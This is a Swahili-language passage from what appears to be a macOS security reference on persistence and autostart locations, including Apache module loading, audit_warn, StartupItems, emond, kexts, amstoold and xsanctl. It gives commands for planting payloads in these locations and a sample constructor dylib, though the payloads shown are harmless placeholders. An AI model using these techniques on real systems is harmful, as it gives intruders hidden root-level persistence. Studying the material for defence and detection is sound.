Maelezo: https://theevilbit.github.io/beyond/beyond_0023/

  • Inatumika kukiuka sanduku la mchanga: 🟠

  • Lakini unahitaji kuwa na ruhusa ya msingi na apache inahitaji kuwa inaendeshwa

  • Kukiuka TCC: 🔴

  • Httpd haina ruhusa

Mahali

  • /etc/apache2/httpd.conf

  • Inahitaji ruhusa ya msingi

  • Kichocheo: Wakati Apache2 inaanza

Maelezo & Kudukua

Unaweza kuonyesha katika /etc/apache2/httpd.conf ili kupakia moduli kwa kuongeza mstari kama huu:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

Hivi ndivyo moduli zako zilivyopakiwa na Apache. Kitu pekee ni kwamba unahitaji kuisaini na cheti halali cha Apple, au unahitaji kuongeza cheti kipya cha kuaminika kwenye mfumo na kuisaini nacho.

Kisha, ikihitajika, ili kuhakikisha kuwa server itaanza unaweza kutekeleza:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Mfano wa nambari kwa Dylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

Kitengo cha ukaguzi wa mfumo wa BSM

Maelezo: https://theevilbit.github.io/beyond/beyond_0031/

  • Inatumika kukiuka sanduku la mchanga: 🟠

  • Lakini unahitaji kuwa na ruhusa ya msingi, auditd iwe inaendeshwa na kusababisha onyo

  • Kukiuka TCC: 🔴

Mahali

  • /etc/security/audit_warn

  • Inahitaji ruhusa ya msingi

  • Kichocheo: Wakati auditd inagundua onyo

Maelezo & Utekaji

Kila wakati auditd inagundua onyo, hati /etc/security/audit_warn ina kutekelezwa. Kwa hivyo unaweza kuongeza mzigo wako kwenye hiyo.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

Unaweza kulazimisha onyo na sudo audit -n.

Vipengele vya Kuanza

Hii imepitwa na wakati, kwa hivyo hakuna kitu kinapaswa kupatikana katika saraka hizo.

StartupItem ni saraka ambayo inapaswa kuwekwa ndani ya /Library/StartupItems/ au /System/Library/StartupItems/. Mara tu saraka hii inapoanzishwa, lazima ijumuishe faili mbili maalum:

  1. rc script: Skripti ya shell inayotekelezwa wakati wa kuanza.

  2. Faili ya plist, iitwayo StartupParameters.plist, ambayo ina mipangilio mbalimbali ya usanidi.

Hakikisha kwamba skripti ya rc na faili ya StartupParameters.plist zimewekwa kwa usahihi ndani ya saraka ya StartupItem ili mchakato wa kuanza uweze kuzitambua na kuzitumia.

emond

Sijaweza kupata sehemu hii kwenye macOS yangu kwa habari zaidi angalia andiko

Andiko: https://theevilbit.github.io/beyond/beyond_0023/

Kuletwa na Apple, emond ni mfumo wa kuingiza taarifa ambao unaonekana kutokuwa umekamilika au labda umeachwa, lakini bado unapatikana. Ingawa sio muhimu sana kwa msimamizi wa Mac, huduma hii isiyoeleweka inaweza kutumika kama njia ya kudumu kwa wahalifu wa mtandao, labda bila kugunduliwa na wengi wa wasimamizi wa macOS.

Kwa wale wanaofahamu uwepo wake, kutambua matumizi mabaya yoyote ya emond ni rahisi. LaunchDaemon ya mfumo kwa huduma hii inatafuta hati za kutekelezwa kwenye saraka moja. Ili kuangalia hili, amri ifuatayo inaweza kutumika:

ls -l /private/var/db/emondClients

XQuartz

Maelezo: https://theevilbit.github.io/beyond/beyond_0018/

Mahali

  • /opt/X11/etc/X11/xinit/privileged_startx.d

  • Inahitaji mizizi

  • Kichocheo: Pamoja na XQuartz

Maelezo & Kudukuliwa

XQuartz haipo tena imewekwa kwenye macOS, kwa hivyo ikiwa unataka habari zaidi angalia maelezo.

kext

Ni ngumu sana kusakinisha kext hata kama mizizi hivyo sitazingatia hii kutoroka kutoka kwa mchanga au hata kwa uthabiti (isipokuwa una shambulio)

Mahali

Ili kusakinisha KEXT kama kipengee cha kuanza, inahitaji kusakinishwa kwenye mojawapo ya maeneo yafuatayo:

  • /System/Library/Extensions

  • Faili za KEXT zilizojengwa kwenye mfumo wa uendeshaji wa OS X.

  • /Library/Extensions

  • Faili za KEXT zilizosakinishwa na programu ya tatu

Unaweza kupata orodha ya faili za kext zilizosakinishwa kwa sasa na:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

amstoold

Maelezo: https://theevilbit.github.io/beyond/beyond_0029/

Mahali

  • /usr/local/bin/amstoold

  • Inahitaji ruhusa ya Root

Maelezo & Utekaji

Inaonekana kwamba plist kutoka /System/Library/LaunchAgents/com.apple.amstoold.plist ilikuwa inatumia binary hii wakati inafunua huduma ya XPC... swala ni kwamba binary haikuwepo, hivyo ungeweza kuweka kitu hapo na wakati huduma ya XPC inaitwa binary yako itaitwa.

Sikuweza tena kupata hii kwenye macOS yangu.

xsanctl

Maelezo: https://theevilbit.github.io/beyond/beyond_0015/

Mahali

  • /Library/Preferences/Xsan/.xsanrc

  • Inahitaji ruhusa ya Root

  • Kichocheo: Wakati huduma inapoendeshwa (kwa nadra)

Maelezo & utekaji

Inaonekana sio kawaida sana kuendesha script hii na hata sikuiweza kwenye macOS yangu, hivyo kama unataka maelezo zaidi angalia maelezo.

/etc/rc.common

Hii haifanyi kazi katika toleo za kisasa za MacOS

Pia niwezekano kuweka hapa maagizo ambayo yataendeshwa wakati wa kuanza. Mfano wa script ya kawaida ya rc.common:
